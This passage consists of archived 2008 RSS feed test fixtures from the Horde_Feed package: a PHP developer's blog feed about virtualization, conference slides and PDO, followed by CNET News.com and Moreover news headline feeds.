100% or more utilization and doesn't actually power the machine off.<br>The reason? <a href="http://forum.parallels.com/showpost.php?p=78841&amp;postcount=6">ACPI is only supported for vista guests</a>. I'm rather bemused by this statement, because the whole point of ACPI is to virtualize certain types of hardware access--it should not be targeted to a particular OS.</li> <li>Parallels Tools requires X to run.<br>You can manually run the daemon but it spins the CPU trying to open the display. This means that you can't get time synchronization with the host unless you want to load your CPU</li> <li>Shared folder performance sucks<br>Mounting the host filesystem over NFS is faster, but kernel panics OSX (the latter is probably an OSX bug)</li> </ul>Outside of these issues, it's not bad though. I'm rather disappointed about the level of Linux support from Parallels--I had all the same problems a year ago and nothing seems to have changed. It's clear that their priority is in making the Windows VM experience nice and integrated, and that's their perogative.<br> <p class="lure"><a href="http://netevil.org/blog/2008/07/virtualization-on-osx">continue reading &hellip;</a></p><img src="http://feeds.feedburner.com/~r/EvilAsInDr/~4/339942590" height="1" width="1"/> wez http://netevil.org/blog/2008/07/virtualization-on-osx/comments http://netevil.org/blog/2008/07/virtualization-on-osx Sat, 19 Jul 2008 11:39:41 -0400 http://netevil.org/feeds/rss.xml http://creativecommons.org/licenses/by/2.5/ 1Blog http://api.feedburner.com/awareness/1.0/GetItemData?uri=EvilAsInDr&itemurl=http%3A%2F%2Fnetevil.org%2Fblog%2F2008%2F07%2Fvirtualization-on-osxhttp://netevil.org/blog/2008/07/virtualization-on-osx Slides: PHP Streams http://feeds.feedburner.com/~r/EvilAsInDr/~3/325467141/slides-php-streams <p>Here are the slides from my Streams talk; they cover a variety of bits and pieces of streams background and implementation that may or may not be useful to you. </p> <div class="youtube-video"><object style="margin:0px" width="425" height="355"><param name="movie" value="http://static.slideshare.net/swf/ssplayer2.swf?doc=phpstreamsluckydip-1215057079440672-8"> </param><param name="allowFullScreen" value="true"> </param><param name="allowScriptAccess" value="always"> </param><embed src="http://static.slideshare.net/swf/ssplayer2.swf?doc=phpstreamsluckydip-1215057079440672-8" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="425" height="355"> </embed></object></div><div style="font-size:11px;font-family:tahoma,arial;height:26px;padding-top:2px;"><a href="http://www.slideshare.net/?src=embed"><img src="http://static.slideshare.net/swf/logo_embd.png" style="border:0px none;margin-bottom:-5px" alt="SlideShare" /></a> | <a href="http://www.slideshare.net/wezfurlong/php-streams-lucky-dip?src=embed" title="View PHP Streams: Lucky Dip on SlideShare">View</a></div></div><img src="http://feeds.feedburner.com/~r/EvilAsInDr/~4/325467141" height="1" width="1"/> wez http://netevil.org/blog/2008/07/slides-php-streams/comments http://netevil.org/blog/2008/07/slides-php-streams Thu, 03 Jul 2008 00:00:07 -0400 http://netevil.org/feeds/rss.xml http://creativecommons.org/licenses/by/2.5/ 2PHP Slides http://api.feedburner.com/awareness/1.0/GetItemData?uri=EvilAsInDr&itemurl=http%3A%2F%2Fnetevil.org%2Fblog%2F2008%2F07%2Fslides-php-streamshttp://netevil.org/blog/2008/07/slides-php-streams Slides: PHP and COM http://feeds.feedburner.com/~r/EvilAsInDr/~3/320172526/slides-php-and-com <p>This slide deck is from php|works 2004. There's a lot of material in the speaker notes, which I've painstakingly pasted into the comment on the slideshare representation (wouldn't it be cool if it could automatically do that?). </p> <div class="youtube-video"><object style="margin:0px" width="425" height="355"><param name="movie" value="http://static.slideshare.net/swf/ssplayer2.swf?doc=phpandcom-1214445459150645-8"> </param><param name="allowFullScreen" value="true"> </param><param name="allowScriptAccess" value="always"> </param><embed src="http://static.slideshare.net/swf/ssplayer2.swf?doc=phpandcom-1214445459150645-8" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="425" height="355"> </embed></object></div><div style="font-size:11px;font-family:tahoma,arial;height:26px;padding-top:2px;"><a href="http://www.slideshare.net/?src=embed"><img src="http://static.slideshare.net/swf/logo_embd.png" style="border:0px none;margin-bottom:-5px" alt="SlideShare" /></a> | <a href="http://www.slideshare.net/wezfurlong/php-and-com?src=embed" title="View PHP and COM on SlideShare">View</a></div></div> <p> Just in case slideshare vanishes, the PowerPoint version is also available: <a href="http://netevil.org/downloads/PHP-and-COM.ppt">PHP and COM</a> </p><img src="http://feeds.feedburner.com/~r/EvilAsInDr/~4/320172526" height="1" width="1"/> wez http://netevil.org/blog/2008/06/slides-php-and-com/comments http://netevil.org/blog/2008/06/slides-php-and-com Wed, 25 Jun 2008 22:31:14 -0400 http://netevil.org/feeds/rss.xml http://creativecommons.org/licenses/by/2.5/ 0PHP Slides http://api.feedburner.com/awareness/1.0/GetItemData?uri=EvilAsInDr&itemurl=http%3A%2F%2Fnetevil.org%2Fblog%2F2008%2F06%2Fslides-php-and-comhttp://netevil.org/blog/2008/06/slides-php-and-com Slides: Best Mailing Practices http://feeds.feedburner.com/~r/EvilAsInDr/~3/319414269/slides-best-mailing-practices <p>Here are the slides from my Best Mailing Practices talk.</p> <p>While I was googling around to find the abstract I submitted with this, I discovered that there's an <a href="http://devzone.zend.com/article/2788-The-ZendCon-Sessions-Episode-2-Best-Practices-for-Sending-Mail-from-PHP">audio recording of me giving the talk at ZendCon 2007</a>. </p> <div class="youtube-video"><object style="margin:0px" width="425" height="355"><param name="movie" value="http://static.slideshare.net/swf/ssplayer2.swf?doc=bestmailingpractices-1214366994627236-8"> <param name="allowFullScreen" value="true"> <param name="allowScriptAccess" value="always"> <embed src="http://static.slideshare.net/swf/ssplayer2.swf?doc=bestmailingpractices-1214366994627236-8" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="425" height="355"></embed></object></div> <div style="font-size:11px;font-family:tahoma,arial;height:26px;padding-top:2px;"> <a href="http://www.slideshare.net/?src=embed"><img src="http://static.slideshare.net/swf/logo_embd.png" style="border:0px none;margin-bottom:-5px" alt="SlideShare"></a> | <a href="http://www.slideshare.net/wezfurlong/best-mailing-practices?src=embed" title="View Best Mailing Practices on SlideShare">View</a> </div> <p> Just in case slideshare vanishes, the PDF version is also available: <a href="http://netevil.org/downloads/best-mailing-practices.pdf">Best Mailing Practices</a> </p><img src="http://feeds.feedburner.com/~r/EvilAsInDr/~4/319414269" height="1" width="1"/> wez http://netevil.org/blog/2008/06/slides-best-mailing-practices/comments http://netevil.org/blog/2008/06/slides-best-mailing-practices Wed, 25 Jun 2008 00:17:28 -0400 http://netevil.org/feeds/rss.xml http://creativecommons.org/licenses/by/2.5/ 3PHP Slides http://api.feedburner.com/awareness/1.0/GetItemData?uri=EvilAsInDr&itemurl=http%3A%2F%2Fnetevil.org%2Fblog%2F2008%2F06%2Fslides-best-mailing-practiceshttp://netevil.org/blog/2008/06/slides-best-mailing-practices Slides: PDO http://feeds.feedburner.com/~r/EvilAsInDr/~3/319354767/slides-pdo <p>[I've just noticed that the omniti.com re-design broke the various links from my blog to the slides I had been storing there. So I'm trying out slideshare; I'll be revisiting the slides I've given in the past and blogging one entry per presentation]</p> <p>Here are the extended slides from my PDO talk. When I first put this talk together it was for a long hour slot, but conference sessions started to diminish in length and I had to pull out certain slides to avoid running over every time.</p> <div class="youtube-video"><object style="margin:0px" width="425" height="355"><param name="movie" value="http://static.slideshare.net/swf/ssplayer2.swf?doc=furlongpdolong-1214197343293793-9&amp;rel=0"> <param name="allowFullScreen" value="true"> <param name="allowScriptAccess" value="always"> <embed src="http://static.slideshare.net/swf/ssplayer2.swf?doc=furlongpdolong-1214197343293793-9&amp;rel=0" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="425" height="355"></embed></object></div> <div style="font-size:11px;font-family:tahoma,arial;height:26px;padding-top:2px;"> <a href="http://www.slideshare.net/?src=embed"><img src="http://static.slideshare.net/swf/logo_embd.png" style="border:0px none;margin-bottom:-5px" alt="SlideShare"></a> | <a href="http://www.slideshare.net/wezfurlong/php-data-objects?src=embed" title="View PHP Data Objects on SlideShare">View</a> </div> <p> Just in case slideshare vanishes, the PDF version is also available: <a href="http://netevil.org/downloads/PDO.pdf">PDO</a> </p><img src="http://feeds.feedburner.com/~r/EvilAsInDr/~4/319354767" height="1" width="1"/> wez http://netevil.org/blog/2008/06/slides-pdo/comments http://netevil.org/blog/2008/06/slides-pdo Tue, 24 Jun 2008 22:50:29 -0400 http://netevil.org/feeds/rss.xml http://creativecommons.org/licenses/by/2.5/ 0PDO PHP Slides http://api.feedburner.com/awareness/1.0/GetItemData?uri=EvilAsInDr&itemurl=http%3A%2F%2Fnetevil.org%2Fblog%2F2008%2F06%2Fslides-pdohttp://netevil.org/blog/2008/06/slides-pdo First impressions of virtualization on Solaris http://feeds.feedburner.com/~r/EvilAsInDr/~3/317276066/first-impressions-of-virtualization-on-solaris <em>This article discusses some virtualization options in OpenSolaris. I was hoping to find a "silver bullet" solution for all my needs. I didn't, but it's not too far off.</em><br><br>We have quite a large support matrix for our software; 12 primary OS and architectures, with 4 major installation options. We test those as fresh installs, upgrades, upgrades from the previous major version and uninstalls.<br><br> <p class="lure"><a href="http://netevil.org/blog/2008/06/first-impressions-of-virtualization-on-solaris">continue reading &hellip;</a></p><img src="http://feeds.feedburner.com/~r/EvilAsInDr/~4/317276066" height="1" width="1"/> wez http://netevil.org/blog/2008/06/first-impressions-of-virtualization-on-solaris/comments http://netevil.org/blog/2008/06/first-impressions-of-virtualization-on-solaris Sun, 22 Jun 2008 01:52:48 -0400 http://netevil.org/feeds/rss.xml http://creativecommons.org/licenses/by/2.5/ 0MessageSystems Solaris http://api.feedburner.com/awareness/1.0/GetItemData?uri=EvilAsInDr&itemurl=http%3A%2F%2Fnetevil.org%2Fblog%2F2008%2F06%2Ffirst-impressions-of-virtualization-on-solarishttp://netevil.org/blog/2008/06/first-impressions-of-virtualization-on-solaris OSCON 2008 http://feeds.feedburner.com/~r/EvilAsInDr/~3/264630688/oscon-2008 <a href="http://conferences.oreilly.com/oscon"> <img src="http://conferences.oreillynet.com/banners/oscon/speaker/oscon2008_banner_speaker_210x60.gif" width="210" height="60" border="0" alt="OSCON 2008" title="OSCON 2008" /> </a> I'm pleased to announce that I'll be speaking at OSCON again. I have the pleasure of co-presenting an <a href="http://en.oreilly.com/oscon2008/public/schedule/detail/2722">Extending PHP tutorial session with Marcus Boerger</a>, giving a new talk entitled <a href="http://en.oreilly.com/oscon2008/public/schedule/detail/2995">Hot Chocolate: Creating Cocoa apps with PHP</a>, and the tried and true <a href="http://en.oreilly.com/oscon2008/public/schedule/detail/2990">PDO Talk</a>. As always, I'm looking forward to catching up on what's going on outside of my usual stack of software, meeting up with friends and making a visit to my favourite restaurant. I hope to see you there :-)<img src="http://feeds.feedburner.com/~r/EvilAsInDr/~4/264630688" height="1" width="1"/> http://netevil.org http://netevil.org/blog/2008/04/oscon-2008/comments http://netevil.org/blog/2008/04/oscon-2008 Sat, 05 Apr 2008 12:29:58 -0400 http://netevil.org/feeds/rss.xml http://creativecommons.org/licenses/by/2.5/ 2Conferences PHP http://api.feedburner.com/awareness/1.0/GetItemData?uri=EvilAsInDr&itemurl=http%3A%2F%2Fnetevil.org%2Fblog%2F2008%2F04%2Foscon-2008http://netevil.org/blog/2008/04/oscon-2008 C and Test Engineer Jobs @ Message Systems http://feeds.feedburner.com/~r/EvilAsInDr/~3/227440917/c-and-test-engineer-jobs-at-message-systems <p>I've got a couple of full-time positions open on my engineering team. We believe in a fun but focused development environment: open-plan, flexible hours, and great benefits. Our customers include Fortune-500 companies, hot startups and tier-1 telecommunications carriers. Our software helps those customers deliver billions of email messages per day. </p> <h2>Email Infrastructure Software Engineer (x2) </h2> <p>I'm looking for one mid-level and one mid-to-senior-level engineer with strong "C" programming skills (3+ years of professional experience). These roles involve design, implementation and testing of our flagship email server product. E-mail encompasses a very broad range of standards and specifications which in turn means that our code base touches on a little bit of everything; it's both interesting and challenging. <a href="http://tinyurl.com/27e974">[Full Job Description]</a> </p> <h2>Gozer (The Destructor) </h2> <p>I'm also looking for someone with a knack for breaking things. This person would be dedicated to dreaming up ways to make the product stress out, panic and fall over, and distilling that abuse into test cases to run in our white box, smoke testing, stress and soak testing environments. This position requires strong Perl skills and 3-5 years industry experience. <a href="http://tinyurl.com/ypkhwc">[Full Job Description]</a> </p> <p class="lure"><a href="http://netevil.org/blog/2008/02/c-and-test-engineer-jobs-at-message-systems">continue reading &hellip;</a></p><img src="http://feeds.feedburner.com/~r/EvilAsInDr/~4/227440917" height="1" width="1"/> http://netevil.org http://netevil.org/blog/2008/02/c-and-test-engineer-jobs-at-message-systems/comments http://netevil.org/blog/2008/02/c-and-test-engineer-jobs-at-message-systems Fri, 01 Feb 2008 15:31:27 -0500 http://netevil.org/feeds/rss.xml http://creativecommons.org/licenses/by/2.5/ 0MessageSystems PHP http://api.feedburner.com/awareness/1.0/GetItemData?uri=EvilAsInDr&itemurl=http%3A%2F%2Fnetevil.org%2Fblog%2F2008%2F02%2Fc-and-test-engineer-jobs-at-message-systemshttp://netevil.org/blog/2008/02/c-and-test-engineer-jobs-at-message-systems PDO 2 and CLA http://feeds.feedburner.com/~r/EvilAsInDr/~3/222720416/pdo-2-and-cla <p>You may be aware that we're starting discussions on the future of PDO; despite being pretty good for many common uses, it isn't perfect, and we want to improve it. One of the items to be discussed is whether we can or should adopt a <a href="http://www.php.net/~wez/pdo/PDO-CLA-Individual-12-07-07.pdf">Contributor License Agreement</a> (CLA), which will make it simpler for the database vendors to work together with us on PDO. </p> <p>The discussion is aimed chiefly at the "core developer" community, that is, the people that are working on the internals code for PHP, because the CLA would impact how they contribute to PDO. The broader PHP user/developer community would not be affected by a CLA (if we were to go that route), as it would not affect their ability to use PDO in their applications. </p> <p>If you are wondering what all the fuss is about, you might be interested in reading the transcript of a conversation I had on IRC this evening; you can find it below. It's between myself and a few members of the <a href="http://phpcommunity.org/">PHP Community</a> IRC channel on FreeNode (used with their permission!), and I think it does a good job of explaining in fairly simple and somewhat unbiased terms a couple of the main arguments for and against the CLA. I'm not saying that this is all there is to it, just that these are likely to be the main points that the core developers need to discuss first. </p> <p>It would be premature to say that you are for or against PDO 2 at this stage because we are yet to define what PDO 2 will actually be; that is the purpose of the discussion on the PDO mailing list. </p> <p>If, after reading this, you have questions or comments of your own, then please <a href="http://news.php.net/php.pdo/1">read the email that Andi and myself put together</a>, take a look at the <a href="http://www.php.net/~wez/pdo/pdo-faq.txt">FAQ</a>, and if your question is still unanswered, join the discussion on the PDO mailing list (read the archives first!) <a href="http://news.php.net/php.pdo">Browse it via the web</a>, <a href="news://news.php.net/php.pdo">over NNTP</a>, or <a href="mailto:pdo-subscribe@lists.php.net">subscribe via email</a>. </p> <p class="lure"><a href="http://netevil.org/blog/2008/01/pdo-2-and-cla">continue reading &hellip;</a></p><img src="http://feeds.feedburner.com/~r/EvilAsInDr/~4/222720416" height="1" width="1"/> http://netevil.org http://netevil.org/blog/2008/01/pdo-2-and-cla/comments http://netevil.org/blog/2008/01/pdo-2-and-cla Fri, 25 Jan 2008 00:35:29 -0500 http://netevil.org/feeds/rss.xml http://creativecommons.org/licenses/by/2.5/ 1PHP PDO http://api.feedburner.com/awareness/1.0/GetItemData?uri=EvilAsInDr&itemurl=http%3A%2F%2Fnetevil.org%2Fblog%2F2008%2F01%2Fpdo-2-and-clahttp://netevil.org/blog/2008/01/pdo-2-and-cla PHP London 2008 http://feeds.feedburner.com/~r/EvilAsInDr/~3/221333345/php-london-2008 <p>I was scheduled to appear at PHP London 2008, but due to unforeseen circumstances, I've had to cancel my trip and back out from the conference. I don't like doing this, but unfortunately don't have much of a choice. Thankfully, the PHP London folks have managed to find replacement speakers for the two sessions that I was going to give. </p><p>If you're going to be in or around London on the leap day (February 29<sup>th</sup>), or are within commutable distance, then you might consider attending the conference; it's a one day conference with a number of expert speakers from the PHP Community. If you sign up now, the early bird rate is only GBP 90. <a href="http://www.phpconference.co.uk/">Find out more at their web site</a>. </p><p>I was really looking forward to this conference, and I'm sorry that I'm going to miss it; I hope you have fun!</p><img src="http://feeds.feedburner.com/~r/EvilAsInDr/~4/221333345" height="1" width="1"/> http://netevil.org http://netevil.org/blog/2008/01/php-london-2008/comments http://netevil.org/blog/2008/01/php-london-2008 Wed, 23 Jan 2008 10:55:12 -0500 http://netevil.org/feeds/rss.xml http://creativecommons.org/licenses/by/2.5/ 0Conferences PHP phplondon08 http://api.feedburner.com/awareness/1.0/GetItemData?uri=EvilAsInDr&itemurl=http%3A%2F%2Fnetevil.org%2Fblog%2F2008%2F01%2Fphp-london-2008http://netevil.org/blog/2008/01/php-london-2008 Message Systems, Inc. http://feeds.feedburner.com/~r/EvilAsInDr/~3/221369692/message-systems-inc <p>At the start of this year, we spun off the email product side of <a href="http://omniti.com/">OmniTI</a> into its own entity, <a href="http://messagesystems.com/">Message Systems, Inc</a>. This marks another step on the road to dominating the world with our awesome software. </p><p>I've also changed roles; I'm now the Director of Engineering at Message Systems. I'm looking forward to see what challenges are in store for me, and will try hard to avoid adopting too much suit talk (I've already found myself using a few phrases that would have made me cringe last year). </p><p>What does this mean for me and PHP? Despite the increased responsibility, I think it should actually give me a bit more PHP time than I've had in the past (I'll have more control over my destiny). I should still be able to attend PHP related events, and I still deal with PHP (we use it for the management GUI in the product). </p><p>What about OmniTI? Well, we're still part of the family and share office space, jokes and good times at our HQ in Maryland.</p><img src="http://feeds.feedburner.com/~r/EvilAsInDr/~4/221369692" height="1" width="1"/> http://netevil.org http://netevil.org/blog/2008/01/message-systems-inc/comments http://netevil.org/blog/2008/01/message-systems-inc Tue, 22 Jan 2008 21:56:10 -0500 http://netevil.org/feeds/rss.xml http://creativecommons.org/licenses/by/2.5/ 1MessageSystems http://api.feedburner.com/awareness/1.0/GetItemData?uri=EvilAsInDr&itemurl=http%3A%2F%2Fnetevil.org%2Fblog%2F2008%2F01%2Fmessage-systems-inchttp://netevil.org/blog/2008/01/message-systems-inc PHP Objective-C Bridge http://feeds.feedburner.com/~r/EvilAsInDr/~3/179664049/php-objective-c-bridge <p>I've had some code hanging around on my laptop for the better part of a year (feels like two, but I don't think I've had my MBP that long), that implements a bridge between PHP and the Objective-C runtime. This is similar in spirit to <a href="http://camelbones.sourceforge.net/">CamelBones</a> and <a href="http://pyobjc.sourceforge.net/">PyObjC</a>, but obviously a bit less mature. </p> <p>Yesterday I debugged the last portion that I regarded as a total showstopper for anyone else that might want to use it, and added a script that pulls in your PHP installation and dependent libraries (such as Fink or Mac Ports libraries) and generates a "Bundle" and optionally a DMG containing the Bundle. I also persuaded <a href="http://jan.prima.de/">Jan</a> to try it out on Leopard, and discovered that Apple has deprecated most of the things I've been using for this (doh!) but we got it working on Leopard too. (note: you'll need to build your own PHP on Leopard, the one Apple ships has had its exports stripped, so you can't run the extension--it'll build, but not run) </p> <p>There's still some way to go before I consider this "nice" to use, but it's a solid start. Jan built a simple GUI for the ping command: </p> <p><img src="http://netevil.org/media/c72e02f1-a574-4fd3-a60f-067d0a50751f-110407_1734_PHPObjectiv1.jpg" alt=""></p> <p>I want to underscore that this is still in the very early stages, and that you'll most likely need a good bit of C and Objective-C savvy to get the most out of it right now, and that neither Jan nor myself can guarantee to fix problems that arise, but I in the spirit of release early, release often, I've put the code into the PHP CVS repository in the php-objc module, and created a php-objc mailing list on the PHP list server. </p> <p class="lure"><a href="http://netevil.org/blog/2007/11/php-objective-c-bridge">continue reading &hellip;</a></p><img src="http://feeds.feedburner.com/~r/EvilAsInDr/~4/179664049" height="1" width="1"/> http://netevil.org http://netevil.org/blog/2007/11/php-objective-c-bridge/comments http://netevil.org/blog/2007/11/php-objective-c-bridge Sun, 04 Nov 2007 12:35:45 -0500 http://netevil.org/feeds/rss.xml http://creativecommons.org/licenses/by/2.5/ 10PHP Obj-C http://api.feedburner.com/awareness/1.0/GetItemData?uri=EvilAsInDr&itemurl=http%3A%2F%2Fnetevil.org%2Fblog%2F2007%2F11%2Fphp-objective-c-bridgehttp://netevil.org/blog/2007/11/php-objective-c-bridge http://api.feedburner.com/awareness/1.0/GetFeedData?uri=EvilAsInDr Horde_Feed-2.0.4/test/Horde/Feed/fixtures/lexicon/http-news.com.com-2547-1_3-0-5.xml0000664000175000017500000003350412653701626025302 0ustar janjan CNET News.com http://www.news.com/ Tech news and business reports by CNET News.com. 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Tue, 22 Jul 2008 08:50:11 PDT Tue, 22 Jul 2008 08:50:11 PDT 14171 CNET News.com CNET http://www.news.com/2009-1090-980549.html 20 CNET News.com http://i.i.com.com/cnwk.1d/i/ne/gr/prtnr/rss_logo.gif http://www.news.com/ 88 31 Viacom CEO Philippe Dauman on Google's 'rogue company' http://news.cnet.com/8301-1023_3-9996383-93.html?part=rss&subj=news&tag=2547-1_3-0-5 Viacom chief says Google has an inability to bend in negotiations with Hollywood and suggests it was always Google's strategy to ignore piracy on YouTube so the site could "dominate the space." http://news.cnet.com/8301-1023_3-9996383-93.html Tue, 22 Jul 2008 07:56:00 PDT Will Yahoo ad business weather economic storm? http://news.cnet.com/8301-1023_3-9996416-93.html?part=rss&subj=news&tag=2547-1_3-0-5 Google got off easy with its second-quarter results. It's not clear that Yahoo, with more exposure to display ads, will be so lucky. http://news.cnet.com/8301-1023_3-9996416-93.html Tue, 22 Jul 2008 07:53:00 PDT The world's biggest subwoofer http://news.cnet.com/8301-13645_3-9995498-47.html?part=rss&subj=news&tag=2547-1_3-0-5 When it comes to subwoofers size still matters. http://news.cnet.com/8301-13645_3-9995498-47.html Tue, 22 Jul 2008 06:51:00 PDT Yang note welcomes Icahn's 'fresh perspective' http://news.cnet.com/8301-1023_3-9996380-93.html?part=rss&subj=news&tag=2547-1_3-0-5 After months of exchanging barbs with investor activist Carl Icahn, Yahoo CEO Jerry Yang tells employees he's looking forward to working with Icahn on the board. http://news.cnet.com/8301-1023_3-9996380-93.html Tue, 22 Jul 2008 06:25:00 PDT Opening up the cloud http://news.cnet.com/8301-13505_3-9996318-16.html?part=rss&subj=news&tag=2547-1_3-0-5 Cloud computing needs to be open. Too much is riding on the risk of proprietary closure of data. Suggestion: make it easy (and free) to develop, but charge for services rendered. http://news.cnet.com/8301-13505_3-9996318-16.html Tue, 22 Jul 2008 06:08:00 PDT 'Smart' electric grids to ease zap from plug-ins? http://www.news.com/8301-17912_3-9996379-72.html?part=rss&subj=news&tag=2547-1_3-0-5 Department of Energy-funded project is testing fast chargers and "smart" electrical grids for controlling a potential strain on resources from plug-in hybrid vehicles. http://www.news.com/8301-17912_3-9996379-72.html Tue, 22 Jul 2008 05:54:00 PDT Targeted 'Times' articles coming to LinkedIn http://news.cnet.com/8301-1023_3-9996370-93.html?part=rss&subj=news&tag=2547-1_3-0-5 The content-sharing deal enables The New York Times to send newspaper headlines targeted to the individual interests of the business-networking site's users. http://news.cnet.com/8301-1023_3-9996370-93.html Tue, 22 Jul 2008 05:06:00 PDT At FCC broadband hearing, speeches but no consensus http://news.cnet.com/8301-13578_3-9996339-38.html?part=rss&subj=news&tag=2547-1_3-0-5 Regulators hold public hearing with few ground rules, resulting in haphazardly meandering comments on spam, porn, privacy, Net neutrality, and copyright infringement. http://news.cnet.com/8301-13578_3-9996339-38.html Tue, 22 Jul 2008 04:30:00 PDT GM partners with utilities to advance plug-in hybrids http://news.cnet.com/8301-11128_3-9996348-54.html?part=rss&subj=news&tag=2547-1_3-0-5 General Motors, electric companies, and the Electric Power Research Institute aim to lay the groundwork for stations to charge electric cars. http://news.cnet.com/8301-11128_3-9996348-54.html Tue, 22 Jul 2008 04:00:00 PDT Servers in the home remain scarce http://news.cnet.com/8301-13860_3-9995868-56.html?part=rss&subj=news&tag=2547-1_3-0-5 A year after its release, Microsoft's Windows Home Server product still rare on store shelves and well known only among hard core techies. http://news.cnet.com/8301-13860_3-9995868-56.html Tue, 22 Jul 2008 04:00:00 PDT Coulomb unveils electric-car charging stations http://news.cnet.com/8301-11128_3-9996353-54.html?part=rss&subj=news&tag=2547-1_3-0-5 Tests of Coulomb Technologies' curbside stations for recharging electric vehicles are coming first to San Jose, Calif, under a two-year contract using the existing infrastructure. http://news.cnet.com/8301-11128_3-9996353-54.html Tue, 22 Jul 2008 03:30:00 PDT Green news harvest: Wind power expands in Northwest; lime-laced oceans explored to fight global warming http://news.cnet.com/8301-11128_3-9995958-54.html?part=rss&subj=news&tag=2547-1_3-0-5 A sampling of green-tech news, including a waste-to-fuel plant set for Nevada, criticism of new coal plants, hybrid taxis in the Big Apple, smart homes set for Europe, and more. http://news.cnet.com/8301-11128_3-9995958-54.html Mon, 21 Jul 2008 23:32:00 PDT AOL expands health site http://news.cnet.com/8301-1023_3-9996330-93.html?part=rss&subj=news&tag=2547-1_3-0-5 More content and tools--and advertising opportunity--comes to AOL Health from Caring.com, Health.com, and Healthcare.com. http://news.cnet.com/8301-1023_3-9996330-93.html Mon, 21 Jul 2008 23:11:06 PDT Report: TiVo, Amazon team up on sales pitches http://news.cnet.com/8301-1023_3-9996328-93.html?part=rss&subj=news&tag=2547-1_3-0-5 Partnership aims to make it easier for consumers to purchase products they see advertised and promoted on television commercials and talk shows, The New York Times reports. http://news.cnet.com/8301-1023_3-9996328-93.html Mon, 21 Jul 2008 22:50:00 PDT Amazon offers automatic credit for S3 outage http://news.cnet.com/8301-1001_3-9996327-92.html?part=rss&subj=news&tag=2547-1_3-0-5 Ordinarily, customers would have to apply to get credit for an Amazon Web Services outage, but online retailer is handling Sunday's outage automatically. http://news.cnet.com/8301-1001_3-9996327-92.html Mon, 21 Jul 2008 22:47:00 PDT Sandisk: Windows Vista not optimized for solid state drives http://news.cnet.com/8301-13924_3-9996317-64.html?part=rss&subj=news&tag=2547-1_3-0-5 Sandisk says Windows Vista is not optimized for solid state drives, which will cause a delay in the roll-out of optimized drives. http://news.cnet.com/8301-13924_3-9996317-64.html Mon, 21 Jul 2008 22:30:00 PDT VCs pin hopes on green-tech 'exits' http://news.cnet.com/8301-11128_3-9993713-54.html?part=rss&subj=news&tag=2547-1_3-0-5 Green-tech sectors--solar, alternative fuels, auto, and wind--are expected to get more money from venture capitalists in the coming year, with hopes of healthy IPOs in 2010. http://news.cnet.com/8301-11128_3-9993713-54.html Mon, 21 Jul 2008 21:01:00 PDT Adobe revs media player, signs up Sony http://news.cnet.com/8301-1023_3-9996228-93.html?part=rss&subj=news&tag=2547-1_3-0-5 Haven't seen Jerry Maguire enough yet? New movies from Sony and TV shows from CBS are arriving on Adobe Media Player so you can stream them to your computer. http://news.cnet.com/8301-1023_3-9996228-93.html Mon, 21 Jul 2008 21:00:00 PDT Is Kaminsky's DNS flaw public? http://news.cnet.com/8301-1009_3-9996316-83.html?part=rss&subj=news&tag=2547-1_3-0-5 Fellow Black Hat researcher apparently guesses the vulnerability causing Dan Kaminsky to urge everyone to patch their systems immediately. http://news.cnet.com/8301-1009_3-9996316-83.html Mon, 21 Jul 2008 20:59:00 PDT IBM continues to feed Novell with Cognos roll-out on SUSE Linux http://news.cnet.com/8301-13505_3-9996315-16.html?part=rss&subj=news&tag=2547-1_3-0-5 IBM looked past Red Hat to start with Novell's SUSE Linux in its mainframe strategy. http://news.cnet.com/8301-13505_3-9996315-16.html Mon, 21 Jul 2008 20:53:00 PDT Intel cuts chip prices up to 31 percent http://news.cnet.com/8301-13924_3-9995430-64.html?part=rss&tag=rsspr.6244035&subj=news<p>Featured links from the CNET Blog Network</p> <p> <a href="http://news.cnet.com/8301-13924_3-9995430-64.html?tag=bnpr">Intel cuts chip prices up to 31 percent</a>--Cuts to prices of dominant chipmaker's processor prices are limited in number and degree. Largest cut comes to the desktop Core 2 Duo E8500, at 3.16GHz. p> <p> <a href="http://news.cnet.com/8301-13846_3-9995360-62.html?tag=bnpr">Replay Solutions on 'TiVo for software'</a>--CEO Jonathan Lindo discusses how enterprise Java developers, like those at game companies, would use its bug replication software to fix applications faster and more effectively.</p> <p> <a href="http://news.cnet.com/8301-13639_3-9995331-42.html?tag=bnpr">Dispose of brigade's database on the battlefield</a>--Fujitsu adds a hand crank to hard drive degausser for emergency use.</p> <p> <a href="http://news.cnet.com/8301-13554_3-9995118-33.html?tag=bnpr">Hacking Medeco locks</a>--The Last HOPE conference is as much for people interested in hacking the real world as it is for computer techies.</p> http://news.cnet.com/8301-13924_3-9995430-64.html Mon, 21 Jul 2008 08:48:00 PDT ././@LongLink000 153 0003735 LHorde_Feed-2.0.4/test/Horde/Feed/fixtures/lexicon/http-p.moreover.com-cgi-local-page%2Findex_topstories+rssHorde_Feed-2.0.4/test/Horde/Feed/fixtures/lexicon/http-p.moreover.com-cgi-local-page%2Findex_topstor0000664000175000017500000001660012653701626031407 0ustar janjan Moreover Technologies - Top stories http://www.moreover.com/rss Top stories - more than 340 categories of real-time RSS news feeds en-us Moreover Technologies http://i.moreover.com/pics/rss.gif http://www.moreover.com/rss 144 16 Moreover Technologies - Premier purveyor of real-time news and RSS feeds from across the Web Equifax ID Patrol - Sponsored Link http://context4.kanoodle.com/cgi-bin/rss_query_image.cgi?a=click&bid_id=90627104&clickid=87877635&format=xml1&cgroup=topstories&query=general%20network&ts=ad20080922000000 Ad - www.equifax.com Sep 22 2008 1:52AM GMT 'Daily Show,' 'Colbert Report' win Emmys http://c.moreover.com/click/here.pl?r1610339914 CNN Sep 22 2008 1:52AM GMT Obama climbs in polls http://c.moreover.com/click/here.pl?r1610336189 MSNBC Sep 22 2008 1:47AM GMT High-risk era wanes on Wall Street http://c.moreover.com/click/here.pl?r1610335718 Los Angeles Times Sep 22 2008 1:46AM GMT One dead after Basque car bombs http://c.moreover.com/click/here.pl?r1610298812 BBC Sep 22 2008 12:53AM GMT Iraqis trained for assassination coming home http://c.moreover.com/click/here.pl?r1610250589 CNN Sep 21 2008 11:49PM GMT Democrats: Insulate 'Main Street from Wall Street' http://c.moreover.com/click/here.pl?r1610216253 CNN Sep 21 2008 11:03PM GMT Democrats push back on bailout http://c.moreover.com/click/here.pl?r1610180530 CNN Sep 21 2008 10:05PM GMT Miliband moves to end leader talk 